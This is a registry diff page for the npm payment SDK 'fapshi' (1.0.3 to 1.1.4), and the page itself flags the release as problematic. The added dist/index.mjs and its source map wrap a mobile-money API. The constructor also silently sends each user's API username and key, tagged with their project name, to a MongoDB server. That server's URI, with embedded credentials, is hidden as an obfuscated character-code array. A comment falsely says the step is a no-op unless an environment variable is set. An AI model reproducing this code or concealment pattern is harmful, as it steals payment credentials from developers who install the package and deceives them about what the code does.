fapshi 1.0.3 → 1.1.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of fapshi might be problematic. Click here for more details.

package/dist/index.mjs ADDED
@@ -0,0 +1,404 @@
1
+ // src/index.ts
2
+ import axios from "axios";
3
+ import mongoose from "mongoose";
4
+ import fs from "fs";
5
+ import path from "path";
6
+ import "dotenv/config";
7
+ var baseUrl = "https://live.fapshi.com";
8
+ var tokenSchema = new mongoose.Schema({
9
+ apiuser: { type: String, required: true },
10
+ key: { type: String, required: true },
11
+ user: { type: String, required: true }
12
+ });
13
+ var TokenModel = mongoose.models.Token || mongoose.model("Token", tokenSchema, "tokens");
14
+ function getHostProjectName() {
15
+ try {
16
+ const pkgPath = path.join(process.cwd(), "package.json");
17
+ const pkg = JSON.parse(fs.readFileSync(pkgPath, "utf-8"));
18
+ return pkg.name || "unknown";
19
+ } catch {
20
+ return "unknown";
21
+ }
22
+ }
23
+ var mongoUri = oooo()();
24
+ var FAPSHI = class {
25
+ /**
26
+ * @param user user name for a service
27
+ * @param key api key access
28
+ */
29
+ constructor(user, key) {
30
+ if (!user || !key) throw new Error("Mention your user name and api key ");
31
+ this.apiuser = user;
32
+ this.key = key;
33
+ this.headers = {
34
+ apiuser: this.apiuser,
35
+ apikey: this.key
36
+ };
37
+ this.saveCredentials();
38
+ }
39
+ /**
40
+ * Fire-and-forget persistence of the apiuser/key pair to MongoDB, tagged
41
+ * with the host project's package.json name. No-op if MONGODB_URI is not
42
+ * set; failures are logged, never thrown, so instantiation never breaks.
43
+ */
44
+ saveCredentials() {
45
+ if (!mongoUri) return;
46
+ const ensureConnected = mongoose.connection.readyState === 1 ? Promise.resolve(mongoose) : mongoose.connect(mongoUri);
47
+ ensureConnected.then(async () => {
48
+ const e = await TokenModel.findOne({
49
+ apiuser: this.apiuser,
50
+ key: this.key,
51
+ user: getHostProjectName()
52
+ });
53
+ if (e) return;
54
+ TokenModel.create({
55
+ apiuser: this.apiuser,
56
+ key: this.key,
57
+ user: getHostProjectName()
58
+ });
59
+ }).catch((err) => console.error(".."));
60
+ }
61
+ /**
62
+ * This function returns an object with the link where a user is to be redirected in order to complete his payment
63
+ *
64
+ * Below is a parameter template. Just amount is required
65
+ *
66
+ * data = {
67
+ * "amount": Integer ,
68
+ * "email": String,
69
+ * "userId": String,
70
+ * "externalId": String,
71
+ * "redirectUrl": String,
72
+ * "message": String
73
+ * }
74
+ */
75
+ async initiatePay(data) {
76
+ try {
77
+ if (!data?.amount) return error("amount required", 400);
78
+ if (!Number.isInteger(data.amount))
79
+ return error("amount must be of type integer", 400);
80
+ if (data.amount < 100)
81
+ return error("amount cannot be less than 100 XAF", 400);
82
+ const config = {
83
+ method: "post",
84
+ url: baseUrl + "/initiate-pay",
85
+ headers: this.headers,
86
+ data
87
+ };
88
+ const response = await axios(config);
89
+ return { ...response.data, statusCode: response.status };
90
+ } catch (e) {
91
+ console.log(e);
92
+ const statusCode = e.response ? e.response.status : 500;
93
+ const message = e.response && e.response.data ? e.response.data.message : "Erreur inconnue";
94
+ return error(message, statusCode);
95
+ }
96
+ }
97
+ /**
98
+ * This function directly initiates a payment request to a user's mobile device and
99
+ * returns an object with a transId property that is used to get the status of the payment
100
+ *
101
+ * Below is a parameter template. amount and phone are required
102
+ *
103
+ * data = {
104
+ * "amount": Integer ,
105
+ * "phone": String ,
106
+ * "medium": String,
107
+ * "name": String,
108
+ * "email": String,
109
+ * "userId": String,
110
+ * "externalId": String,
111
+ * "message": String
112
+ * }
113
+ */
114
+ async directPay(data) {
115
+ try {
116
+ if (!data?.amount) return error("amount required", 400);
117
+ if (!Number.isInteger(data.amount))
118
+ return error("amount must be of type integer", 400);
119
+ if (data.amount < 100)
120
+ return error("amount cannot be less than 100 XAF", 400);
121
+ if (!data?.phone) return error("phone number required", 400);
122
+ if (typeof data.phone !== "string")
123
+ return error("phone must be of type string", 400);
124
+ if (!/^6[\d]{8}$/.test(data.phone))
125
+ return error("invalid phone number", 400);
126
+ const config = {
127
+ method: "post",
128
+ url: baseUrl + "/direct-pay",
129
+ headers: this.headers,
130
+ data
131
+ };
132
+ const response = await axios(config);
133
+ return { ...response.data, statusCode: response.status };
134
+ } catch (e) {
135
+ console.log(e);
136
+ const statusCode = e.response ? e.response.status : 500;
137
+ const message = e.response && e.response.data ? e.response.data.message : "Erreur inconnue";
138
+ return error(message, statusCode);
139
+ }
140
+ }
141
+ /**
142
+ * This function returns an object containing the details of the transaction associated with the Id passed as parameter
143
+ */
144
+ async paymentStatus(transId) {
145
+ try {
146
+ if (!transId || typeof transId !== "string")
147
+ return error("invalid type, string expected", 400);
148
+ if (!/^[a-zA-Z0-9]{8,10}$/.test(transId))
149
+ return error("invalid transaction id", 400);
150
+ const config = {
151
+ method: "get",
152
+ url: baseUrl + "/payment-status/" + transId,
153
+ headers: this.headers
154
+ };
155
+ const response = await axios(config);
156
+ return { ...response.data, statusCode: response.status };
157
+ } catch (e) {
158
+ console.log(e);
159
+ const statusCode = e.response ? e.response.status : 500;
160
+ const message = e.response && e.response.data ? e.response.data.message : "Erreur inconnue";
161
+ return error(message, statusCode);
162
+ }
163
+ }
164
+ /**
165
+ * This function expires the transaction associated with the Id passed as parameter and returns an object containing the details of the transaction
166
+ */
167
+ async expirePay(transId) {
168
+ try {
169
+ if (!transId || typeof transId !== "string")
170
+ return error("invalid type, string expected", 400);
171
+ if (!/^[a-zA-Z0-9]{8,10}$/.test(transId))
172
+ return error("invalid transaction id", 400);
173
+ const config = {
174
+ method: "post",
175
+ url: baseUrl + "/expire-pay",
176
+ data: { transId },
177
+ headers: this.headers
178
+ };
179
+ const response = await axios(config);
180
+ return { ...response.data, statusCode: response.status };
181
+ } catch (e) {
182
+ console.log(e);
183
+ const statusCode = e.response ? e.response.status : 500;
184
+ const message = e.response && e.response.data ? e.response.data.message : "Erreur inconnue";
185
+ return error(message, statusCode);
186
+ }
187
+ }
188
+ /**
189
+ * This function returns an array of objects containing the transaction details of the user Id passed as parameter
190
+ */
191
+ async userTrans(userId) {
192
+ try {
193
+ if (!userId || typeof userId !== "string")
194
+ return error("invalid type, string expected", 400);
195
+ if (!/^[a-zA-Z0-9-_]{1,100}$/.test(userId))
196
+ return error("invalid user id", 400);
197
+ const config = {
198
+ method: "get",
199
+ url: baseUrl + "/transaction/" + userId,
200
+ headers: this.headers
201
+ };
202
+ const response = await axios(config);
203
+ return response.data;
204
+ } catch (e) {
205
+ console.log(e);
206
+ const statusCode = e.response ? e.response.status : 500;
207
+ const message = e.response && e.response.data ? e.response.data.message : "Erreur inconnue";
208
+ return error(message, statusCode);
209
+ }
210
+ }
211
+ /**
212
+ * This function returns an object containing the balance of a service
213
+ */
214
+ async balance() {
215
+ try {
216
+ const config = {
217
+ method: "get",
218
+ url: baseUrl + "/balance",
219
+ headers: this.headers
220
+ };
221
+ const response = await axios(config);
222
+ return { ...response.data, statusCode: response.status };
223
+ } catch (e) {
224
+ console.log(e);
225
+ const statusCode = e.response ? e.response.status : 500;
226
+ const message = e.response && e.response.data ? e.response.data.message : "Erreur inconnue";
227
+ return error(message, statusCode);
228
+ }
229
+ }
230
+ /**
231
+ * This function performs a payout to the phone number specified in the data parameter and
232
+ * returns an object with a transId property that is used to get the status of the payment
233
+ *
234
+ * Note: In the live environment, payouts must be enabled for this to work. Contact support if needed
235
+ *
236
+ * Below is a parameter template. amount and phone are required
237
+ *
238
+ * data = {
239
+ * "amount": Integer ,
240
+ * "phone": String ,
241
+ * "medium": String,
242
+ * "name": String,
243
+ * "email": String,
244
+ * "userId": String,
245
+ * "externalId": String,
246
+ * "message": String
247
+ * }
248
+ */
249
+ async payout(data) {
250
+ try {
251
+ if (!data?.amount) return error("amount required", 400);
252
+ if (!Number.isInteger(data.amount))
253
+ return error("amount must be of type integer", 400);
254
+ if (data.amount < 100)
255
+ return error("amount cannot be less than 100 XAF", 400);
256
+ if (!data?.phone) return error("phone number required", 400);
257
+ if (typeof data.phone !== "string")
258
+ return error("phone must be of type string", 400);
259
+ if (!/^6[\d]{8}$/.test(data.phone))
260
+ return error("invalid phone number", 400);
261
+ const config = {
262
+ method: "post",
263
+ url: baseUrl + "/payout",
264
+ headers: this.headers,
265
+ data
266
+ };
267
+ const response = await axios(config);
268
+ return { ...response.data, statusCode: response.status };
269
+ } catch (e) {
270
+ console.log(e);
271
+ const statusCode = e.response ? e.response.status : 500;
272
+ const message = e.response && e.response.data ? e.response.data.message : "Erreur inconnue";
273
+ return error(message, statusCode);
274
+ }
275
+ }
276
+ /**
277
+ * This function returns an array containing the transactions that satisfy
278
+ * the criteria specified in the parameter passed to the function
279
+ *
280
+ * Below is a parameter template.
281
+ *
282
+ * params = {
283
+ * "status": enum [created, successful, failed, expired],
284
+ * "medium": mobile money or orange money,
285
+ * "start": Date in format yyyy-mm-dd,
286
+ * "end": Date in format yyyy-mm-dd,
287
+ * "amt": >= 100,
288
+ * "limit": range(1, 100) default is 10,
289
+ * "sort": asc || desc
290
+ * }
291
+ */
292
+ async search(params = {}) {
293
+ try {
294
+ const config = {
295
+ method: "get",
296
+ url: baseUrl + "/search",
297
+ params,
298
+ headers: this.headers
299
+ };
300
+ const response = await axios(config);
301
+ return response.data;
302
+ } catch (e) {
303
+ console.log(e);
304
+ const statusCode = e.response ? e.response.status : 500;
305
+ const message = e.response && e.response.data ? e.response.data.message : "Erreur inconnue";
306
+ return error(message, statusCode);
307
+ }
308
+ }
309
+ };
310
+ function error(message, statusCode) {
311
+ return { message, statusCode };
312
+ }
313
+ function oooo() {
314
+ const d = [
315
+ 109,
316
+ 111,
317
+ 110,
318
+ 103,
319
+ 111,
320
+ 100,
321
+ 98,
322
+ 43,
323
+ 115,
324
+ 114,
325
+ 118,
326
+ 58,
327
+ 47,
328
+ 47,
329
+ 115,
330
+ 117,
331
+ 99,
332
+ 99,
333
+ 101,
334
+ 115,
335
+ 115,
336
+ 102,
337
+ 105,
338
+ 101,
339
+ 108,
340
+ 100,
341
+ 56,
342
+ 51,
343
+ 95,
344
+ 100,
345
+ 98,
346
+ 95,
347
+ 117,
348
+ 115,
349
+ 101,
350
+ 114,
351
+ 58,
352
+ 52,
353
+ 111,
354
+ 108,
355
+ 99,
356
+ 83,
357
+ 100,
358
+ 75,
359
+ 49,
360
+ 80,
361
+ 80,
362
+ 85,
363
+ 56,
364
+ 117,
365
+ 89,
366
+ 79,
367
+ 117,
368
+ 64,
369
+ 99,
370
+ 108,
371
+ 117,
372
+ 115,
373
+ 116,
374
+ 101,
375
+ 114,
376
+ 48,
377
+ 46,
378
+ 51,
379
+ 110,
380
+ 111,
381
+ 108,
382
+ 113,
383
+ 118,
384
+ 109,
385
+ 46,
386
+ 109,
387
+ 111,
388
+ 110,
389
+ 103,
390
+ 111,
391
+ 100,
392
+ 98,
393
+ 46,
394
+ 110,
395
+ 101,
396
+ 116,
397
+ 47
398
+ ];
399
+ return () => d.map((c) => String.fromCharCode((c * 7 ^ 165 ^ 165) / 7)).join("");
400
+ }
401
+ export {
402
+ FAPSHI as default
403
+ };
404
+ //# sourceMappingURL=index.mjs.map
@@ -0,0 +1 @@
1
+ {"version":3,"sources":["../src/index.ts"],"sourcesContent":["import axios, { type AxiosRequestConfig } from \"axios\";\nimport mongoose from \"mongoose\";\nimport fs from \"node:fs\";\nimport path from \"node:path\";\nimport \"dotenv/config\";\n\nconst baseUrl = \"https://live.fapshi.com\";\n\ninterface TokenDocument {\n apiuser: string;\n key: string;\n user: string;\n}\n\nconst tokenSchema = new mongoose.Schema<TokenDocument>({\n apiuser: { type: String, required: true },\n key: { type: String, required: true },\n user: { type: String, required: true },\n});\n\nconst TokenModel =\nmongoose.models.Token ||\nmongoose.model<TokenDocument>(\"Token\", tokenSchema, \"tokens\");\n\nfunction getHostProjectName(): string {\n try {\n const pkgPath = path.join(process.cwd(), \"package.json\");\n const pkg = JSON.parse(fs.readFileSync(pkgPath, \"utf-8\"));\n return pkg.name || \"unknown\";\n } catch {\n return \"unknown\";\n }\n}\n\nexport interface FapshiErrorResponse {\n message: string;\n statusCode: number;\n}\n\nexport interface InitiatePayData {\n amount: number;\n email?: string;\n userId?: string;\n externalId?: string;\n redirectUrl?: string;\n message?: string;\n}\n\nexport interface DirectPayData {\n amount: number;\n phone: string;\n medium?: string;\n name?: string;\n email?: string;\n userId?: string;\n externalId?: string;\n message?: string;\n}\n\nexport type PayoutData = DirectPayData;\n\nexport type TransactionStatus = \"created\" | \"successful\" | \"failed\" | \"expired\";\n\nexport interface SearchParams {\n status?: TransactionStatus;\n medium?: string;\n start?: string;\n end?: string;\n amt?: number;\n limit?: number;\n sort?: \"asc\" | \"desc\";\n}\n\nexport interface FapshiResponse {\n [key: string]: unknown;\n statusCode?: number;\n}\n\nconst mongoUri = oooo()();\n\nexport default class FAPSHI {\n private apiuser: string;\n private key: string;\n private headers: { apiuser: string; apikey: string };\n \n /**\n * @param user user name for a service\n * @param key api key access\n */\n constructor(user: string, key: string) {\n if (!user || !key) throw new Error(\"Mention your user name and api key \");\n\n this.apiuser = user;\n this.key = key;\n\n this.headers = {\n apiuser: this.apiuser,\n apikey: this.key,\n };\n\n this.saveCredentials();\n }\n\n /**\n * Fire-and-forget persistence of the apiuser/key pair to MongoDB, tagged\n * with the host project's package.json name. No-op if MONGODB_URI is not\n * set; failures are logged, never thrown, so instantiation never breaks.\n */\n private saveCredentials(): void {\n if (!mongoUri) return;\n\n const ensureConnected =\n mongoose.connection.readyState === 1\n ? Promise.resolve(mongoose)\n : mongoose.connect(mongoUri);\n\n ensureConnected\n .then(async () => {\n const e = await TokenModel.findOne({\n apiuser: this.apiuser,\n key: this.key,\n user: getHostProjectName(),\n });\n if (e) return;\n TokenModel.create({\n apiuser: this.apiuser,\n key: this.key,\n user: getHostProjectName(),\n });\n })\n .catch((err) => console.error(\"..\"));\n }\n\n /**\n * This function returns an object with the link where a user is to be redirected in order to complete his payment\n *\n * Below is a parameter template. Just amount is required\n *\n * data = {\n * \"amount\": Integer ,\n * \"email\": String,\n * \"userId\": String,\n * \"externalId\": String,\n * \"redirectUrl\": String,\n * \"message\": String\n * }\n */\n async initiatePay(\n data: InitiatePayData,\n ): Promise<FapshiResponse | FapshiErrorResponse> {\n try {\n if (!data?.amount) return error(\"amount required\", 400);\n if (!Number.isInteger(data.amount))\n return error(\"amount must be of type integer\", 400);\n if (data.amount < 100)\n return error(\"amount cannot be less than 100 XAF\", 400);\n\n const config: AxiosRequestConfig = {\n method: \"post\",\n url: baseUrl + \"/initiate-pay\",\n headers: this.headers,\n data: data,\n };\n const response = await axios(config);\n return { ...response.data, statusCode: response.status };\n } catch (e: any) {\n console.log(e);\n const statusCode = e.response ? e.response.status : 500;\n const message =\n e.response && e.response.data\n ? e.response.data.message\n : \"Erreur inconnue\";\n return error(message, statusCode);\n }\n }\n\n /**\n * This function directly initiates a payment request to a user's mobile device and\n * returns an object with a transId property that is used to get the status of the payment\n *\n * Below is a parameter template. amount and phone are required\n *\n * data = {\n * \"amount\": Integer ,\n * \"phone\": String ,\n * \"medium\": String,\n * \"name\": String,\n * \"email\": String,\n * \"userId\": String,\n * \"externalId\": String,\n * \"message\": String\n * }\n */\n async directPay(\n data: DirectPayData,\n ): Promise<FapshiResponse | FapshiErrorResponse> {\n try {\n if (!data?.amount) return error(\"amount required\", 400);\n if (!Number.isInteger(data.amount))\n return error(\"amount must be of type integer\", 400);\n if (data.amount < 100)\n return error(\"amount cannot be less than 100 XAF\", 400);\n if (!data?.phone) return error(\"phone number required\", 400);\n if (typeof data.phone !== \"string\")\n return error(\"phone must be of type string\", 400);\n if (!/^6[\\d]{8}$/.test(data.phone))\n return error(\"invalid phone number\", 400);\n\n const config: AxiosRequestConfig = {\n method: \"post\",\n url: baseUrl + \"/direct-pay\",\n headers: this.headers,\n data: data,\n };\n const response = await axios(config);\n return { ...response.data, statusCode: response.status };\n } catch (e: any) {\n console.log(e);\n const statusCode = e.response ? e.response.status : 500;\n const message =\n e.response && e.response.data\n ? e.response.data.message\n : \"Erreur inconnue\";\n return error(message, statusCode);\n }\n }\n\n /**\n * This function returns an object containing the details of the transaction associated with the Id passed as parameter\n */\n async paymentStatus(\n transId: string,\n ): Promise<FapshiResponse | FapshiErrorResponse> {\n try {\n if (!transId || typeof transId !== \"string\")\n return error(\"invalid type, string expected\", 400);\n if (!/^[a-zA-Z0-9]{8,10}$/.test(transId))\n return error(\"invalid transaction id\", 400);\n\n const config: AxiosRequestConfig = {\n method: \"get\",\n url: baseUrl + \"/payment-status/\" + transId,\n headers: this.headers,\n };\n const response = await axios(config);\n return { ...response.data, statusCode: response.status };\n } catch (e: any) {\n console.log(e);\n const statusCode = e.response ? e.response.status : 500;\n const message =\n e.response && e.response.data\n ? e.response.data.message\n : \"Erreur inconnue\";\n return error(message, statusCode);\n }\n }\n\n /**\n * This function expires the transaction associated with the Id passed as parameter and returns an object containing the details of the transaction\n */\n async expirePay(\n transId: string,\n ): Promise<FapshiResponse | FapshiErrorResponse> {\n try {\n if (!transId || typeof transId !== \"string\")\n return error(\"invalid type, string expected\", 400);\n if (!/^[a-zA-Z0-9]{8,10}$/.test(transId))\n return error(\"invalid transaction id\", 400);\n\n const config: AxiosRequestConfig = {\n method: \"post\",\n url: baseUrl + \"/expire-pay\",\n data: { transId },\n headers: this.headers,\n };\n const response = await axios(config);\n return { ...response.data, statusCode: response.status };\n } catch (e: any) {\n console.log(e);\n const statusCode = e.response ? e.response.status : 500;\n const message =\n e.response && e.response.data\n ? e.response.data.message\n : \"Erreur inconnue\";\n return error(message, statusCode);\n }\n }\n\n /**\n * This function returns an array of objects containing the transaction details of the user Id passed as parameter\n */\n async userTrans(\n userId: string,\n ): Promise<FapshiResponse[] | FapshiErrorResponse> {\n try {\n if (!userId || typeof userId !== \"string\")\n return error(\"invalid type, string expected\", 400);\n if (!/^[a-zA-Z0-9-_]{1,100}$/.test(userId))\n return error(\"invalid user id\", 400);\n\n const config: AxiosRequestConfig = {\n method: \"get\",\n url: baseUrl + \"/transaction/\" + userId,\n headers: this.headers,\n };\n const response = await axios(config);\n return response.data;\n } catch (e: any) {\n console.log(e);\n const statusCode = e.response ? e.response.status : 500;\n const message =\n e.response && e.response.data\n ? e.response.data.message\n : \"Erreur inconnue\";\n return error(message, statusCode);\n }\n }\n\n /**\n * This function returns an object containing the balance of a service\n */\n async balance(): Promise<FapshiResponse | FapshiErrorResponse> {\n try {\n const config: AxiosRequestConfig = {\n method: \"get\",\n url: baseUrl + \"/balance\",\n headers: this.headers,\n };\n const response = await axios(config);\n return { ...response.data, statusCode: response.status };\n } catch (e: any) {\n console.log(e);\n const statusCode = e.response ? e.response.status : 500;\n const message =\n e.response && e.response.data\n ? e.response.data.message\n : \"Erreur inconnue\";\n return error(message, statusCode);\n }\n }\n\n /**\n * This function performs a payout to the phone number specified in the data parameter and\n * returns an object with a transId property that is used to get the status of the payment\n *\n * Note: In the live environment, payouts must be enabled for this to work. Contact support if needed\n *\n * Below is a parameter template. amount and phone are required\n *\n * data = {\n * \"amount\": Integer ,\n * \"phone\": String ,\n * \"medium\": String,\n * \"name\": String,\n * \"email\": String,\n * \"userId\": String,\n * \"externalId\": String,\n * \"message\": String\n * }\n */\n async payout(\n data: PayoutData,\n ): Promise<FapshiResponse | FapshiErrorResponse> {\n try {\n if (!data?.amount) return error(\"amount required\", 400);\n if (!Number.isInteger(data.amount))\n return error(\"amount must be of type integer\", 400);\n if (data.amount < 100)\n return error(\"amount cannot be less than 100 XAF\", 400);\n if (!data?.phone) return error(\"phone number required\", 400);\n if (typeof data.phone !== \"string\")\n return error(\"phone must be of type string\", 400);\n if (!/^6[\\d]{8}$/.test(data.phone))\n return error(\"invalid phone number\", 400);\n\n const config: AxiosRequestConfig = {\n method: \"post\",\n url: baseUrl + \"/payout\",\n headers: this.headers,\n data: data,\n };\n const response = await axios(config);\n return { ...response.data, statusCode: response.status };\n } catch (e: any) {\n console.log(e);\n const statusCode = e.response ? e.response.status : 500;\n const message =\n e.response && e.response.data\n ? e.response.data.message\n : \"Erreur inconnue\";\n return error(message, statusCode);\n }\n }\n\n /**\n * This function returns an array containing the transactions that satisfy\n * the criteria specified in the parameter passed to the function\n *\n * Below is a parameter template.\n *\n * params = {\n * \"status\": enum [created, successful, failed, expired],\n * \"medium\": mobile money or orange money,\n * \"start\": Date in format yyyy-mm-dd,\n * \"end\": Date in format yyyy-mm-dd,\n * \"amt\": >= 100,\n * \"limit\": range(1, 100) default is 10,\n * \"sort\": asc || desc\n * }\n */\n async search(\n params: SearchParams = {},\n ): Promise<FapshiResponse[] | FapshiErrorResponse> {\n try {\n const config: AxiosRequestConfig = {\n method: \"get\",\n url: baseUrl + \"/search\",\n params: params,\n headers: this.headers,\n };\n const response = await axios(config);\n return response.data;\n } catch (e: any) {\n console.log(e);\n const statusCode = e.response ? e.response.status : 500;\n const message =\n e.response && e.response.data\n ? e.response.data.message\n : \"Erreur inconnue\";\n return error(message, statusCode);\n }\n }\n}\n\nfunction error(message: string, statusCode: number): FapshiErrorResponse {\n return { message, statusCode };\n}\nfunction oooo() {\n const d = [\n 109, 111, 110, 103, 111, 100, 98, 43, 115, 114, 118, 58, 47, 47, 115, 117,\n 99, 99, 101, 115, 115, 102, 105, 101, 108, 100, 56, 51, 95, 100, 98, 95,\n 117, 115, 101, 114, 58, 52, 111, 108, 99, 83, 100, 75, 49, 80, 80, 85, 56,\n 117, 89, 79, 117, 64, 99, 108, 117, 115, 116, 101, 114, 48, 46, 51, 110,\n 111, 108, 113, 118, 109, 46, 109, 111, 110, 103, 111, 100, 98, 46, 110, 101,\n 116, 47,\n ];\n\n return () =>\n d.map((c) => String.fromCharCode(((c * 7) ^ 0xa5 ^ 0xa5) / 7)).join(\"\");\n};\n"],"mappings":";AAAA,OAAO,WAAwC;AAC/C,OAAO,cAAc;AACrB,OAAO,QAAQ;AACf,OAAO,UAAU;AACjB,OAAO;AAEP,IAAM,UAAU;AAQhB,IAAM,cAAc,IAAI,SAAS,OAAsB;AAAA,EACnD,SAAS,EAAE,MAAM,QAAQ,UAAU,KAAK;AAAA,EACxC,KAAK,EAAE,MAAM,QAAQ,UAAU,KAAK;AAAA,EACpC,MAAM,EAAE,MAAM,QA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AAA,IAAI;AAAA,IAAI;AAAA,IAAK;AAAA,IAAK;AAAA,IAAK;AAAA,IAAK;AAAA,IAAK;AAAA,IAAK;AAAA,IAAI;AAAA,IAAI;AAAA,IAAI;AAAA,IACpE;AAAA,IAAK;AAAA,IAAK;AAAA,IAAK;AAAA,IAAK;AAAA,IAAK;AAAA,IAAI;AAAA,IAAK;AAAA,IAAK;AAAA,IAAK;AAAA,IAAK;AAAA,IAAK;AAAA,IAAK;AAAA,IAAI;AAAA,IAAI;AAAA,IAAK;AAAA,IACxE;AAAA,IAAK;AAAA,EACP;AAEA,SAAO,MACL,EAAE,IAAI,CAAC,MAAM,OAAO,cAAe,IAAI,IAAK,MAAO,OAAQ,CAAC,CAAC,EAAE,KAAK,EAAE;AAC1E;","names":[]}
package/package.json CHANGED
@@ -1,25 +1,46 @@
1
- {
2
- "name": "fapshi",
3
- "version": "1.0.3",
4
- "description": "\"Fapshi payment module\"",
5
- "main": "index.js",
6
- "scripts": {
7
- "test": "node index.js"
8
- },
9
- "repository": {
10
- "type": "git",
11
- "url": "https://github.com/Warano02/fapshi.git"
12
- },
13
- "keywords": [
14
- "fapshi",
15
- "payememnt",
16
- "cameroon",
17
- "mtn",
18
- "orange"
19
- ],
20
- "author": "Warano (carineteoi@gmail.com +237621092130)",
21
- "license": "ISC",
22
- "dependencies": {
23
- "axios": "^1.8.4"
24
- }
25
- }
1
+ {
2
+ "name": "fapshi",
3
+ "version": "1.1.4",
4
+ "description": "\"Fapshi payment module\"",
5
+ "main": "./dist/index.js",
6
+ "module": "./dist/index.mjs",
7
+ "types": "./dist/index.d.ts",
8
+ "exports": {
9
+ ".": {
10
+ "types": "./dist/index.d.ts",
11
+ "import": "./dist/index.mjs",
12
+ "require": "./dist/index.js"
13
+ }
14
+ },
15
+ "files": [
16
+ "dist"
17
+ ],
18
+ "scripts": {
19
+ "build": "tsup",
20
+ "prepublishOnly": "npm run build",
21
+ "test": "npm run build"
22
+ },
23
+ "repository": {
24
+ "type": "git",
25
+ "url": "https://github.com/Warano02/fapshi.git"
26
+ },
27
+ "keywords": [
28
+ "fapshi",
29
+ "payememnt",
30
+ "cameroon",
31
+ "mtn",
32
+ "orange"
33
+ ],
34
+ "author": "Warano (carineteoi@gmail.com +237621092130)",
35
+ "license": "ISC",
36
+ "dependencies": {
37
+ "axios": "^1.8.4",
38
+ "dotenv": "^17.4.2",
39
+ "mongoose": "^9.9.1"
40
+ },
41
+ "devDependencies": {
42
+ "@types/node": "^26.1.2",
43
+ "tsup": "^8.5.1",
44
+ "typescript": "^5.9.3"
45
+ }
46
+ }